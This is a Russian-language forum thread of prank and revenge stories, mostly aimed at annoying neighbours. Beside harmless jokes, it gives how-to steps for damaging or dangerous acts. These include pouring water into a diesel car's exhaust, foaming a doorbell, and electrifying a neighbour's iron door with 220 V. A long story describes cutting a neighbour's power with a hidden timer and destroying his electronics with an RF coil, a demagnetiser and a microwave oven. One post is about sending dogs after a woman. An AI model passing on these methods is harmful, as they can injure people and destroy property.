1) На дорогую отполированную иномарку 2-3 флакона валерьянки. Остальное с воском и полиролью сделают котики дворовые. (если позлее, то посыпать семечки, тогда за труды берутся пернатые братья).
2) Для дизельных двигателей: через трубку (для удобства) в глушитель заливаем литра 2 воды. Дальше желательно наблюдать процесс заводки двигателя.
Оба способа вполне безобидны.
:ooh:
maskman
Про свадьбу - офигеть. 5+ :):):yees:
Тебя достал сосед.
Стоит тебе погромче включить телевизор или музыку, закатить вечерину или еще чего, как он тут же начинает долбить в стену,звонить по телефону и в дверь с руганью и угрозами. Это надо лечить.
Сегодня дверной звонок - выбор западлостроителя! Он легко доступен и
очень сильно раздражает. Приступим.
Способ 1. «Детсад»
Способ, конечно, глупый, но на данном этапе необходимый. Звонишь в дверь
(смачно так) и соскакиваешь. Соседа это, возможно, не сильно расстроит,
но первая капля есть.
Способ 2. «Продвинутый детсад»
Заклеиваешь кнопку звонка пластырем. Во, уже лучше - пациент нервничает.
Способ 3. «Липкий звонок»
Нужны пластырь и «Макрофлекс» (строительная пена такая, на воздухе
разбухает и засыхает). Способ трудоемкий, поэтому приготовь все заранее.
Лучше всего, если у соседа тамбур отгорожен отдельной дверью - больше
шансов смыться. Итак, лепишь пластырь и густо заливаешь звонок пеной.
Вот тут соседу реально поплохеет. Теперь, чтобы добраться до звонка, ему
нужен экскаватор (пена разбухает О-О-очень сильно). А после того как он
все-таки доберется до кнопки, его руки уляпаются в этой самой пене
(прилипание к дверным ручкам и обоям гарантировано), которую, кроме
того, еще будет очень трудно смыть.
Способ 4. «Звонок засох»
Ночью можно залить звонок пеной еще раз, тогда наутро для очистки кнопки
соседу понадобится, по крайней мере, бензопила (пена застынет намертво).
Способ 5. «ГрЯзевые ванны»
Разведи в ведре грязь пожиже и поставь соседу под дверь (если
открывается вовнутрь - привяжи к ручке). Ну и, как всегда, заклей
звонок. К этому времени соседа ты уже наверняка достал, поэтому дверь он
откроет с утроенной энергией... Хе-хе! Пусть употребит ее для
надраивания полов.
Способ 6. «Электродинамика»
Нужны кусачки, провод, отвертка, изолента и резиновые перчатки.
Вскрываем звонки всех соседей, собираем провода в кучу и подключаем их к
звонку нашего пациента. Теперь почтальоны, сантехники, гости, парни
соседских девушек будут попадать в одно место. Если сделать все
аккуратно, фишка продержится долго. Ну а если ты суперэлектрик, то смело
подключай звонок к кнопке лифта ;).
Способ 7 «Уголовно наказуемый»
«Это же хулиганство! Получите 15 суток! », - говорил небезызвестный
Федя. Сейчас мода на железные двери... Вот и подключи к ней звонок.
Хорошая встряска (220 В) соседу обеспечена. Ну вот, надеюсь, соседа ты
не загнул, но повеселился основательно
Не знаю может было:
С кнопкой "Пуск"
Необходимо, чтобы на компьютере стоял Windows 9х. Дожидаемся пока жертва работающая за компьютером, отлучается куда-нибудь на минуту или больше. Быстро подбегаем к компьютеру, жмем Ctrl+Esc, Esc, Alt+"-" (т.е. нажать Alt и клавишу - ), Alt+F4. В результате этого исчезает кнопка "Пуск".
Появляется она только после перезагрузки Windows. Как пользователь компьютера будет производить перезагрузку зависит от уровня его знаний. Но результат довольно занимательный, особенно, если жертва плохо знакома с компьютерами.
Со спичками и сажей
Желательно проводить в каком-нибудь людном месте (например, в школе, техникуме или институте).
Сжигаем 10-15 спичек (желательно полностью). Один из прикалывающихся растирает их ладонями. Соответственно ладони у него все черные, и жертве желательно их не показывать. Далее эту самую жертву нужно выбрать. Подойти к ней и предложить показать фокус. Например, протыканее спичкой колена жертвы. Вы говорите, что для исполнения этого фокуса жертве необходимо закрыть глаза, а чтобы он не подсматривал, глаза вы ему закроете руками. Далее ваш помощник тщетно пытается проткнуть колено спичкой, естественно, ничего не получается, спичка ломается. Вы как бы в расстроенных чувствах сообщаете жертве, что ничего не получилось. Но лицо у жервы остается довольно черным :) Естественно, повод для закрывания глаз можно найти и свой.
С хлебными крошками
Под простыню на матрац сыпятся свежие хлебные крошки, часиков через 2-3 от тепла человека они высыхают, ну а дальше ... всем весело!
Зоопарк
Проводится в виде игры в компании друзей. Игра называется "Поход в зоопарк". Важно только, чтобы его знали 1-2 чел. (они автоматически становятся ведущими). Каждому участнику "игры" называется какое-нибудь животное ( очень тихо, так чтобы остальные не слышали ) . Все встают в круг и держатся за руки. Каждому объясняется, что как только произнесется название его животного, то он должен очень быстро сесть на пол на "пятую точку". А его соседи по кругу не должны дать сделать это. Ведущие начинают рассказывать про свой поход в зоопарк и постепенно доходят до названия нужного животного. Смысл прикола - каждому загадывается ОДНО И ТО ЖЕ животное. И весь круг дружно плюхается на пол. Потом все ходят, смеются и что-то потирают...
С кабачковой икрой
Необходимый антураж - все та же сакраментальная икра, собственно исполнители и конечная остановка, на которой все выходят. Исполнителям выходить вовсе не следует, они выбирают сиденье посимпатичнее и выкладывают туда вышеозначенную икру. Потом спокойно выбирают себе место, садятся и ждут. Наконец, водитель открывает двери, народ во множестве заходит, всем хочется сесть, но - о ужас! - антисанитария! Естественно, сиденье не занято, мест больше нет, народ толпится и возмущается тем "до чего страну довели, совсем совесть потеряли!". В самый ответственный момент следует подойти к месту происшествия, спросить всех с наивным видом: "А вы что, садиться не будете? Ну ладно, как хотите...", а потом - как и в розыгрыше с инструктором, плюс то, что подскажет фантазия. Эффект умопомрачительный и неимоверно интересный с точки зрения психологии толпы.
Розыгрыш со спичками
Попробую описать в виде небольшого рассказа. Почти год назад, в конце сентября, (а для большего эффекта необходим летний, ранне-осенний или поздне-весенний месяц) ко мне зашел приятель. Так как день предшествующий был днем рождения моей младшей сестрички, то настроение у нас было жутко игривое, мы постоянно шутили, хохотали без повода... Парнишка нам фокусы разные показывал. С картами. Сестрица все время из себя жертву строила :)) Вдруг он говорит: "Спички дайте". Ну, нашли мы ему коробок спичек. Тогда он спрашивает у сеструхи: "Наталья, хочешь еще фокус покажу?" Она обрадовалась, как ребенок! Еще бы, столько внимания. "Хочу!!!" - кричит. Тогда он велел ей встать посреди кухни. Аккуратно подложил по спичке под каждый тапок так, чтобы они почти полностью из-под него выглядывали. Потом попросил вытянуть руки вперед и дал еще по спичке в каждую руку. Держала она их двумя пальчиками, головками вниз, изящно оттопырыв мизинчики. Мой друг сел. Критически оглядел одиноко стоящую Наталью со спичками, удовлетворенно хмыкнул. Наташка счастливо улыбалась со спичками в руках. Тогда он и спрашивает ее: "Наташ, сейчас какой месяц?" Она, судорожно вспоминая: "- Окт ... э-э-э.. Сентябрь!". "- Тогда почему ты на лыжах?????" Наступила тишина. Потом раздался Наташкин хохот! Я тоже смеялась, как лошадь, потому что Наташка, загибаясь и икая, держала руки вытянутыми, со спичками головками вниз и оттопыренными мизинчиками. Это был рассказ на тему, как прошел розыгрыш. Теперь попытаюсь детально описать его:
В бесснежное время года, в тесной компании (лучше, если эту шутку знает как можно меньше народу) выбрать жертву. Поставить ее посередине чего-либо комнаты, кухни, сарая, лесной поляны, озера - где собственно все и собрались). Попросить вытянуть вперед руки, и в каждую руку, между большим и указательным пальцем дать по спичке головкой вниз. А потом еще по одной спичке положить под носок ботинка или туфельки таким образом, чтобы больше половины спички торчало вперед. И спросить:
- Какой сейчас месяц?
- ........ - бодро ответит жертва.
- А почему ты на лыжах?????
Эффект просто поразительный!!!! Несколько минут смеха обеспечено!
Телефон под током
Звонишь кому-нибудь и просишь, что бы не отвечали на телефонные звонки в течении 10 мин, т.к. на линии работает телефонист и его может ударить током. Через несколько минут перезваниваешь по этому же номеру, и если поднимают трубку, издайте душераздирающий вопль...
Розыгрыш с брюками
Мою подругу попросил один её знакомый подшить джинсы (достаточно дорогие). И т.к. подшивать надо было много ( он маленький и толстенький ), он попросил лишнюю ткань отрезать. Замерили они вместе сколько укорачивать, и моя подруга пошла к себе домой обрезать и подшивать. На следующий день я и моя подруга вместе с укороченными джинсами пошли к этому товарищу. Пришли, отдали джинсы и попросили сразу померить. Этот товарищ уходит в соседнюю комнату, одевает там джинсы и через некоторое время возвращается в страшном смятении. Оказывается, обе штанины короче чем надо см. на 20, получились эдакие бриджи. Моя подруга, когда видит это, падает на диван в предобмарочном состоянии - штаны она испортила, а ей на такие и за два месяца не заработать. И вдруг я вижу, что этот друг начинает смеяться - оказывается он просто загнул внутрь штанины. Над нами он, конечно, подшутил, но теперь моя подруга у него даже носовой платок подшить не возьмёт. И вообще она при слове "подшить" вздрагивать стала.
С ниткой
В кровать жертвы под простыню зигзагообразным методом укладывается нитка. Другой конец протягивается за дверь так, чтобы при натяжении нитка не поднималась и ее не было видно. Когда вечером жертва ложится в кровать, нитка потихоньку вытаскивается(ощущение шевелящегося насекомого)
Розыгрыш с кабачковой икрой
Работая в свое время инструктором на турбазе в Горном Алтае, мы иногда делали так: Группа пеших туристов останавливается на обед. В это время инструктор уходит метров на 500 вперед по тропе и вываливает на пути группы на землю банку кабачковой икры, налепив на нее клочки туалетной бумаги. Группа, отдохнув, выходит на маршрут. Инструктор идет не впереди, а где-то в серединке. Когда впередиидущие брезгливо переступают через эту кучку, инструктор расталкивая клиентов, с воплем СВЕЖАТИНА!!!!!!!!вытаскивает ложку и, разбросав бумажки начинает кушать. Эффект поразителен.
Pann
Вот это
СВЕЖАТИНА!!!!!!!!вытаскивает ложку и, разбросав бумажки начинает кушать
мне больше всего понравилось! :biggrin: :biggrin: :yees:
ПАСХА
"Собрались мы как-то с друзьями Пасху отметить на природе. Я в то
время увлекался гипсовым литьем и решил ради прикола яйцо вылепить из
гипса. Покрасил его гуашью под стандартный "луковый" цвет и лачком
слегонца сбрызнул. Пришли в лес, разложили закуски, и я это яйцо
втихаря к остальной куче подложил. Выпили немного. Тут мой друг
хватает мою поделку (я думал, он по весу определит - камень все-таки)
и как треснет своей жене по лбу. Она только взвизгнула и обоими руками
за голову схватилась. Я только хотел объяснить что к чему, мой кореш в
полной непонятке и себе в лоб этим булыжником засветил. Аж верхний
слой гипса осыпался. Смеялись мы все долго и мучительно. А эти веселые
супруги потом еще неделю с рогами на лбах ходили"
(Рассказал Сергей)
>> Сегедня наблюдал такую каpтину: в подвал напpотив Радика (где
>> видеопpокат, ксеpокс, косметика, мобилы и диски пpодаются)
>> заходит нечто в возpасте 10-11 класс с дpужком. Далее следует
>> диалог: Hечто (H): Мне нужно что-нибудь пpофессиональное.
>> Пpодавец (П): Что пpофессиональное? H: ну что-нибудь
>> пpофессиональное, чтобы игpушки не вылетали...
> Завтра после 3-ей пары пойду смотреть продавца. Получается как на
> выставку.
Значит так. После учёбы была собрана группа и трёх человек для проведения
испытаний. Итак двинульсь в направлении "Золотоой осени". Зашли в ближний
подвал, и обнаружив там мило улыбающихся продавщиц колготок, решили, что не
туда попали. Спрашивать у ния про месторасположение CD дисков было явно
бесполезно.
Вышли наружу, направились в соседний подвал, т.е. где Прокат и т.д. Hашли
диски, заняли "боевые" места: двое по бокам, я разговаривал. План разговора был
следующий:Разыгратьь вчерашнюю ситуацию (на предмет наличия прогресса у
продавца), далее пару новых вопросов.
Итак диалог:
Я: -Есть стабильные и мощные операционки?
П: (Как и ожидалось выдал автоматом и без задержки) -Linux.
Такое ощуние, чтот у него под прилавком висит бумажка с ответами на FAQ
покупателей.
Я: -А Виндузы какие есть?
П: (Исследуя глазами ветрину, на памать видать никак) -Windows 2000
Я: А Server?
(В надежде что из вчерашнего урок был извчечён)
(Пауза, обработка поступившей информации, и наконец выдача.)
П: Первый?
( Hарод по сторонам сложился в двое, я кое-как держась продолжал)
Я: -Hеа второй!
П: -Втотрой вчера продали.( видаьт тот парнишка взял )
( Корчась от смеха народ, чтобы не спугнуть подавца, перебазировался в конец
магазина, где к их удивления оказалось нижнее бельё. Заняв там позиции,
рассматривая с умным видом ассортимент и явно пугая продавщицу оного отдела,
комедия подолжилась)
Я: -А заплатки на Виндуру ХР есьт?
( Рассматривая коробки от Windows2000 и Linux одновременно, причём Линуху было
уделено особое внимание, явно ища Чтонибудь похожее на поступивший запрос, или
может быть исследовал коробки на предмет наличия кусочков ткани на местах
дырорк, я так и не понял)
(Ответ последовал нескоро, но явно авторитетно)
П: -Hе нету.
Далее продолжать действие не было сил, поскольку все кто был уже померал со
смеху, пугая уже весь магазин.
Давно я так не смеялся.
Вывод: теперь рядом с Радиком есть универсальное место для полного поднятия
настроения.
. . Нет, ну он меня достал. Даже так : он меня ДОСТАЛ!!!! Нет, ну я, наивный, думал - до него дойдет.... Ну хоть на 75-й раз, но дойдет... Я же надеялся... Я же - тихий, мирный, скромный... Наивный...
Часть первая: "МЫ УЧИМ ЖЕЛЕЗЯКИ РАЗГОВАРИВАТЬ".
Началась вся эта история около месяца назад.
За стенкой моей квартиры "поселился замечательный сосед". Молодой парень, лет ему немного, количество лет примерно равно удельной массе мозга в его черепной коробке. Как говаривал наш командир взвода в далекие времена достопамятной моей службы в доблестных рядах внутренних войск :
"Рентген показал, товарищ боец, что Ваша голова болеть не может. Чему там болеть - это же кость!!!"
Так вот, этот мОлодец завел себе привычку включать на полную мощь музыкальный центр в плане послушать музыкальные радиостанции. Ну, слушал бы он "ВВС" или, на худой конец, "Немецкую волну" из Кёльна. Нет, он ставил "Радио Шансон" на полную громкость, причем делал это исключительно с 23:00 до 04:00. Уж не знаю, почему ему по ночам не спалось, и зачем ему требовалось такое музыкальное оформление...
Никому-то особо и не мешало его музыкальное пристрастие, потому что пока что это было НЕГРОМКО....
Но однажды... Однажды, выходя утром из квартиры, я узрел на лестничной клетке, возле мусоропровода, картонную коробку обьемом примерно с кубометр, на борту которой был нарисован супер-пупер могучий новейший музыкальный центр. Назовем его, например, "GNUSMAS-LJ4100". И сбоку коробочки таким игривым шрифтом строчка: "160 ватт акустической мощности". Что такое 160 ватт, думаю, обьяснять не нужно, этого хватит, чтобы и Тутанхамон проснулся в своеей гробнице.
"КАПЕЦ" -подумал я, и был прав.
Этой ночью песни в стиле шансон казалось, пелись мне прямо в уши. Как я вытерпел ее (ночь), не помню. Помню только, что в 4 утра кое-как заснул, а в 8 уже приперся на работу, и, ощупав себя, понял, что второй такой ночи я просто не переживу.
Но не был бы я радиолюбителем, если б не нашел противоядие. Весь вечер этого дня ушел на изготовление прехитрого устройства. В итоге из-под паяльника родились: радиомикрофон, небольшой усилитель и ма-асенький генератор речевых эффектов, типа ревербератора.
В 23:00 160 ватт возвестили всему дому о том, что "Радио Шансон" живет и процветает.
В 23:45 я закончил пайку последней платы и начал настройку всего хозяйства.
В 00:15 какая-то шансоньетка известила всех соседей, да и весь дом о том, что она - "дочь камергера, черая мышь и летучая моль".
В 00:22 ... В 00:22 ЕГО музыкальный центр заговорил живым голосом робота с металлическими нотками в голосе. Из динамиков раздалось:
"Уважаемый хозяин!!!!
Центр искусственного интелектуально-логического контроля музыкального центра "GNUSMAS LJ4100" приветствует Вас!!!!
Прослушайте экстренное сообщение о работе системы: Вы вывели Ваш новый музыкальный центр GNUSMAS LJ4100" на предельный режим работы.
Сообщаю Вам, что если выходная мощность не будет убавлена, то через 145 секунд произойдет перегрев и пробой транзисторов выходного каскада усилителя.
Что повлечет за собой выход усилителя из строя.
Эта ситуация не является сервисной, и негарантийный ремонт будет произведен исключительно за Ваш счет".
...В 00:22:30 громкость песни была снижена настолько, что я даже не услышал, кто же там следующий за этой "черной молью" поет.... Музцентр соседа играл ти-и-ихо... Практически неслышно... И наконец-то можно было спокойно уснуть...
...Так прошло две ночи.... Я думал,до него дошло и теперь все соседи будут спать спокойно..
Наивный...
...Прошло две ночи. На третью ночь дом привычно содрогнулся под позывные "Радио Шансон".
Я понял, что юный друг догадался позвонить в московский сервисный центр фирмы "GNUSMAS", где ему сказали, что разговаривающих логически-интеллектуальных музцентров они еще не навострились делать.
Конечно, был у меня соблазн еще раз выйти в эфир на этой частоте и заявить голосом музцентра о том, что ему достался опытный образец с интеллектом, но... Это было бы повторение события, а повторять два раза я не люблю. Поэтому весь следующий вечер я опять провел в окружении радиодеталей и канифольного дымка от паяльника...
ЧАСТЬ ВТОРАЯ: "НЕ СЛЫШНЫ В САДУ ДАЖЕ ШОРОХИ"
Краткое содержание первой части: ДОСТАЛ....
Итак, мой сосед пришел к выводу, что искусственного интеллекта в музыкальных центрах пока что еще не существует. Ну что ж, индюк тоже думал...
Весь следующий вечер я провел с паяльником и дымком канифоли. В итоге из-под жала паяльника родилось нечто, которому я присвоил условное название "Спокойной ночи, малыши".
Заметьте, я с самого начала не хотел ничьей крови, поэтому поначалу обходился безобидными штуками. Итак, на этот раз был приготовлен особый сюрприз.
Здесь следует заметить, что дом наш - довольно старый, и вся электроразводка сделана на уровне ученика первого курса ПТУ - на каждую квартиру идут два автомата-пакетника ("пробки"). Один - на освещение, другой - на розетки.
В шесть часов утра, я, яко тать в нощи, прокрался к распределительному электрощитку на лестничной площадке и повесил на его розеточный пакетник жучка. Жучок этот был довольно безобидным и представлял из себя всего лишь обычный таймер, управляющий электроцепью. То-есть, в заданное время он обесточивал цепь, а во второе заданное время ее опять включал.
Догадались? Именно! В 23:00 отключить, в 05:00 - включить. Тут никакого интеллекта не надо. Знай себе, железяка, время считай, да релюшкой пощелкивай. Естественно, он был тщательно замаскирован в паутинно-пыльных глубинах щитка.
В этот вечер у моего соседа появились первые догадки о том, что "что-то здесь не так": ровно в 23:00, когда его пальцы уже тянулись к кнопке "Power" на панели "Gnusmasa", мой жучинушка включился и.. правильно, обесточил все розетки в его квартире. Из-за стены раздался крик лосося во время брачного периода... Не знаю, что было дальше - я спокойно заснул. Как и все соседи в радиусе трех квартир вверх, вниз, вправо и влево от эпицентра лососевого нереста.
О дальнейшем развитии событий я узнал только на следующий вечер, возвращаясь с работы, от бабушек, живущих на лавочке у подъезда. Знаете, этакий дворовый трибунал, знающий всё и обо всех. Так вот, этот лосось нерестовый, эта килька брачная, ломанулся на лестницу, пощелкал пакетником безрезультатно и помчался в диспетчерскую нашего ЖЭКа. Естественно, дежурная встретила его в полночь с распростертыми обьятиями, пообещав прислать электрика "как только так сразу".
Как Вы уже поняли, в 06:00 мой жучок все включил обратно, в 08:00 пришел электрик, косо посмотрел на подзащитного и потребовал на фуфырь за ложный вызов.
На следующий вечер все, естественно, повторилось. В 23:00 розетки отрубились, лосось издал нерестовый рев и ломанулся в ЖЭК.. Там с него потребовали справку из ПНД, но пообещали ещё раз прислать электрика. Электрик пришел в 08:00 и... Получил еще раз на фуфырь за ложный вызов.
На третью ночь все повторилось, как по-писаному. На этот раз электрик задумался, и пообещал разобрать весь дом на составляющие панели, пока не докопается до причин сего уникального природного явления. Дальше играть в таймеры было бессмысленно, и рано утром я его снял.
Наверняка среди Вас есть люди, помнящие старые добрые времена застоя, когда радиостанции типа "Свобода", "Голос Америки", "Немецкая волна" в СССР слышны были, но сквозь жуткий вой и писк - глушили-с...
Собрать генератор "белого шума" - дело пустяковое.
И вот: очередной вечер, 23:00, "РА-А-А-АДИО-О-О ШАНСО-О-ОН!!!" И сразу после этого - "П-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш-Ш"...
...Нет, я думал - до него дойдет...
Недолго пришлось мне поспать - оказалось, что у этого товарища музыкальные пристрастия не ограничиваются одним блатняком. Он спокойненько перенастроился на "Наше радио", и в ТРИ ЧАСА ночи я был разбужен донесшимся до меня из-за стенки гласом небесным, показавшимся мне надежнейшим рецептом: "Хочешь, я убью соседей, что мешают спать?!". "Всё", - подумал я, спасибо за предложение. Теперь я знаю, что делать. С этого момента партизанская война перешла в стадию войны позиционной.
Кстати, знаете, что делали белорусские партизаны? Они намазывали рельсы солидолом, и фашистские эшелоны с продовольствием тормозили только во Владивостоке...
Ну, заглушил я ему "Радио Шансон". Так он, гад, на другую частоту настроился. Я что, теперь, всю ночь буду за ним по всему диапазону гоняться? Пяльник в руки, моток медного провода на шею, и на следующий вечер был готов ма-а-асенький контур. Представьте себе, что Вы - в темной комнате, Ваши глаза привыкли к темноте, и в это время Вам по глазам - из прожектора!
Вот это самое я проделал с тюнером его "Gnusmasa" - простенько, но со вкусом, тихо и печально поднес контур к стене, за которой располагался этот вражеский "Gnusmas", перекрестился, сплюнул и врубил..... Конечно же, как и рассчитывал, спалил ему входной каскад. То-есть, приемник ну ничегошеньки не принимает, потому что не может. Я-то думал, он его в сервис-центр оттащит, пока то да сё, пока починят- неделя спокойного сна гарантировна...
... Наивный...
ЧАСТЬ ТРЕТЬЯ: "А ВОКРУГ - ТАКАЯ ТИШИНА, ЧТО ВОВЕК НЕ СНИЛАСЬ НАМ !!!"
Краткое содержание первой и второй частей: "ДОСТАЛ!!!"
...Итак, война перешла в стадию позиционную. Я сидел и листал подшивки журналов "Радио" и "Юный техник" в поисках чего-нибудь легкого и изящного, но в голову почему-то лезли мысли черные, Земфирой навеянные. Разум услужливо подсовывал идеи, но все они были какие-то кровожадные, и мое сердце пацифиста с разумом соглашаться не хотелось.
И тут раздался паровозный гудок...
А что Вы удивляетесь? Это у меня телефон такой. Ну, нравятся мне паровозы, вот я и сделал так, что телефон у меня не звонит, а гудит, как паровоз "Овечка" на Казанском вокзале во времена далекие... Кстати, Вы слышали, как гудят паровозы? Сейчас это большая редкость... Хотя у современных электровозов гудок не слабже. Называется он - тифон.
Вот у меня есть один знакомый, машинист электровоза "ЧС". Электровоз чешского производства, его сами железнодорожники ласково "Чехом" называют. Так вот он как-то рассказывал:
" - Как-то моя бригада - я и помощник - приняли смену - на станции сели в "Чеха", приняли его у предыдущей бригады, проверили все системы и стали ждать отправления. А времени было где-то около полуночи, темнота, где-то на станции горят фонари, а у нас, на выходе со станции, практически глаз выколи. Только выходные семафоры красными глазами светят.
И тут вдруг из кустов, что справа от путей росли, выламывается не совсем трезвый мужичонка, и судя по всему, ищет место где присесть. И не нашел он ничего лучше, как усесться прям посреди рельс, на путях, метрах в 20 от нас. Нас-то пока не видно, фары потушены, тишина кругом. И вот вижу я в слабом свете семафоров эти два лунно белеющих полушария и решаю немножко того мужика развеселить, чтоб не скучно сидеть было.
Быстро договорился с помощником, и по моей команде он врубил все фары и прожектор, а я в этот момент придавил тифон. А тифон у нашего орет, как "Челленджер" на взлете.
Мужик как сидел, так и присел.
Ну представьте себе: сидите Вы, как Вам кажется, в чистом поле, и вдруг грохот, рев, свет и сзади на Вас чешет поезд под всеми парами.... Мужик прямо с низкого старта со спущенными портками ка-а-ак чесанул прямо по рельсам, как заяц, по прямой, роняя на ходу остатки содержимого. Такое ощущение было, что "по-большому" он в этот раз сходил на неделю вперед. Как говорится, если что и не хотел - так пришлось.
Очнулись мы только тогда, когда из поездной рации услышали недовольный голос диспетчера: "- Четыреста-...цатый!!! Какого черта ржете и почему не отправляетесь???"
Ну, в-общем, загудел у меня телефон. "Алё, я в трубе" - и слышу голос своего старого друга Дросселя. Ну, кто такое Дроссель - это надо рассказывать особо, это отдельный рассказ страниц на пять. Если уместится. Я вкратце...
Познакомились мы с ним еще в пионерской юности, в радиокружке на Станции Юных Техников. Были в свое время такие внешкольные учреждения, обьединявшие молодежь, желавшую творить. Были там разные кружки и секции, картингисты и судомоделисты, авиаконструкторы и юные астрономы, кружок мягкой игрушки и наш радиоклуб и еще штук тридцать кружков на любой вкус и цвет. Так вот, в кружке мягкой игрушки была такая девочка Леночка, первая красавица не только нашего СЮТа, а, пожалуй и всего района. И сохли по ней и астрономы и вечно чумазые картингисты, и даже юные химики посвящали ей свои реакции, не всегда удачные....
И вот как-то ближе к весне решило руководство в фойе Станции устроить выставку достижений юных талантов. Все кружки к ней готовились, но лучше всего получилось у "мягких игрушек". И венцом творения, самым центральным экспонатом был огромных размеров заяц, сваянный Леночкой. Он гордо сидел на своей подставочке в самом центре готовящейся выставки, которая открывалась завтра, в субботу.
Был вечер пятницы. Юрка-Дроссель полдня ходил задумчиво мимо зайца и что-то вычислял. Я его пытался отвлечь: " - Брось это дело, Юрец, ну кто мы с Тобой - паяльники ! А она... Пойдем лучше, морзяночке потренируемся." Но он был как никогда задумчив...
Короче, в пятницу вечером он ухитрился этого зайца с выставки вынести, а в субботу утром заяц уже сидел на своем законном месте. И вот - торжественное открытие выставки творчества учащихся, все в парадной пионерской форме, директор СЮТа толкает пламенную речь, за его спиной стоят методисты с уже заготовленными дипломами и призами, и, как понимаете, первое место - Ленкиному зайцу. И вот директор вещает:
" - Первый приз мы с удовольствием вручаем за мастерство и умение, за чувство прекрасного и трудолюбие автору этого милого зайчика, Леночке..."
В это время Юрка незаметно жмет кнопочку пульта, заяц на глазах у всех начинает дико верещать, сверкает красными глазами и прикладывает правую лапку к груди... В стане руководства замешательство - никто не ожидал от плюшевого зайца очеловечивания - а Ленка срывается с места, хватает зайца за заднюю лапу и со всего размаху лупит Юрца по тыкве, вереща: " -Дурак !!! КРЕТИН ! ! ! ! ! Испортил первое место!!!".
Короче, эту картину весь СЮТ наблюдал, рассыпав строй и смеясь от души, как Ленка гнала Юрку по всей территории, лупя его нещадно зайцем по голове... Потом они скрылись за углом здания... Директор СЮТа быстренько свернул церемонию, и, хрюкая, удалился в свой кабинет. Вместе с методистами.
Что там было дальше, за углом - история умалчивает...
Сейчас у Юрки с Леной - трое детей, в их квартире в большой комнате на самом видном месте сидит постаревший и полысевший заяц, сам Дроссель - двухкратный чемпион Европы, мастер спорта, жена его, Лена - тоже мастер спорта, Чемпион России по радиосвязи на коротких волнах, но на досуге иногда шьет мягких плюшевых зверенышей, которыми с удовольствием играют две лапочки-дочки и оторва-сынишка. В те моменты, когда родители не дают им работать на радиолюбительской станции... В порыве нежности Юрка называет жену ласково: "Модуляция"...
Так вот, гудит телефон, в трубе - Дроссель.
"Привет, как дела?"
" - Постепенно и высоконравственно" - отвечаю.
"Что-то Ты задумчив" - изрекает Юрец.
"Да вот, понимаешь, в нашем доме поселился замечательный..." - и излагаю ему краткую версию событий.
"Ну, а Ты ?" - вопрошает он.
"А я в тупике. У меня не осталось гуманных вариантов" - отвечаю.
"Так" - вещает Дроссель - "Ничего не трогай, дуй за пивом, я буду через полтора часа".
"А жена?"- вопрошаю я.
"А сегодня соревнования среди женщин на Кубок Поволжья, ее теперь до завтрашнего вечера от радиостанции ни за уши, ни за что другое не оттащишь. А дети спят. Так что я скоро буду у Тебя".
Ну, делать нечего, сходил за пивом. В полночь вваливается Дроссель. В одной руке - пакет с сушеными рыбками и кальмарами, в другой - нечто громоздкое, навевающее мысли о портативном ядерном реакторе.
"Что это?" вопрошаю и тыкаю пальцем в сверток.
"Дроссель!" - бесхитростно отвечает Дроссель. "И что мы будем с ним делать?" -
"Щаз увидишь. Пиво разливай".
После третьй кружки пива завывания, доносившиеся из-за стенки, показались нам даже симпатичными: "А на жеской скамье, на скамье прокур-р-рора...".
"Пора" - изрек Юрец, достал свой дроссель, прикрутил к нему два провода и всунул их в розетку.
За стеной наступила тишина....
"Ты что сделал, Дроссель?" - вяло поинтересовался я.
"Да ничего особеного. Тюнер Ты ему уже спалил,так он кассеты слушает. А мой дроссель сейчас все его кассеты нафиг тихо и печально размагнитил. То-есть, стер все записи..." - вежливо ответил Юрец, кусая хвостик воблы.
М-да-а-а... Видит Бог, я не хотел войны. Нет, я думал - до него дойдет... Наивный...
За стеной раздалось какое-то невнятное похрюкивание. Видимо, подзащитный понял, что что-то здесь не так. Раз радио не играет и и кассеты не слушаются. Но через пять минут очередная блатная песня известила дом, что пациент скорее жив, чем мертв.
"Бесполезно, Юрец!" - изрек я, " - У него еще компакт-диски наверняка есть, а против лазера не попрешь".
"ХЕХ!" сазал Дроссель и пошел на мою кухню. Вернулся он оттуда с СВЧ-печкой в руках.
"Может, не надо?" - взмолился я.
"Надо, Федя, НАДО!" - со вкусом произнес Дроссель...
... За стеной раздалось шкворчание, как будто на месте "Gnusmasa" стояла духовочка с аппетитно подрумянивающейся курочкой...
И настала тишина...
"Капец" -изрек Юрец - "Хана котенку, больше писаться не будет. Кстати, давай-ка раз уж нам никто не мешает, еще по пивасику и послушаем радиоэфир, как там моя конкурентих мочит".
. . .И вот пришло утро воскресенья. Выглянуло солнышко и увидело оно замечательную картину. Увидело оно старый панельный дом, чувака, волочащего на помойку музыкальный центр "GNUSMAS-LJ4100", выглядящий так, словно побывал в цетре Хиросимы в 45-м году, и двух чуваков в окне третьего этажа, с бутылочками пива в руках , тихо напевавших:
"А-а-а-а вокру-у-у-уг та-ака-а-ая тишина-а-а-а-а-а"....
Pann
А чем тебе эта темка не понравилась??? (если будешь отвечать, то в ПМ)
Склеил.
Demoniac
18.06.2004, 16:27
Пришла мне нынче по аське вот такая вещь:
"Будем устраивать флешмоб битцевской валенковаляльной фабрикке, если ты не против.
Вто тут вот: http://www.valenok.ru/vacancy.shtml
Надо ответить, что ты носишь валенки на работе =)))))
Перешли сию просьбу дальше по контактам.
Они умрут."
Забавно....Когда я голосовал, было уже 83% носящих валенки на работе...Гы....
Меня слово заинтересовало "флешмоб"......
Флешмоб - это когда в условленное время в условленном месте собирается толпа народу, которая в течение весьма сжатого промежутка времени делает какое-нибудь бессмысленное действие или произносит какую-нибудь бессмысленную фразу.
Оказывается модное нынче течение......
Есть такая ОЧЕНЬ жестокая шутка: разными способами (не буду их описывать по гуманистическим причинам) сделать так, чтобы на
одежде ваших недругов оказались в большом количестве выделения сучки, коими она истекает в период течки.
Вот один парень отомстил так своей бывшей подруге, использовав свою суку-овчарку.
Свидетели просто не могли подыскать слов, какими можно охарактеризовать сцену:
По улице с визгами несётся молодая женщина, за ней по улице несутся штук семь кобелей разных пород с вполне очевидными
намерениями... Ну а за собаками несутся их хозяева с самыми разнообразными фразами.
Пришла мне нынче по аське вот такая вещь:...
а ведь шутка получила продолжение
http://www.valenok.ru/show_decor.php?id=28
Demoniac
20.09.2004, 13:28
Ну это, я думаю, они уже сами прикололись... :yees:
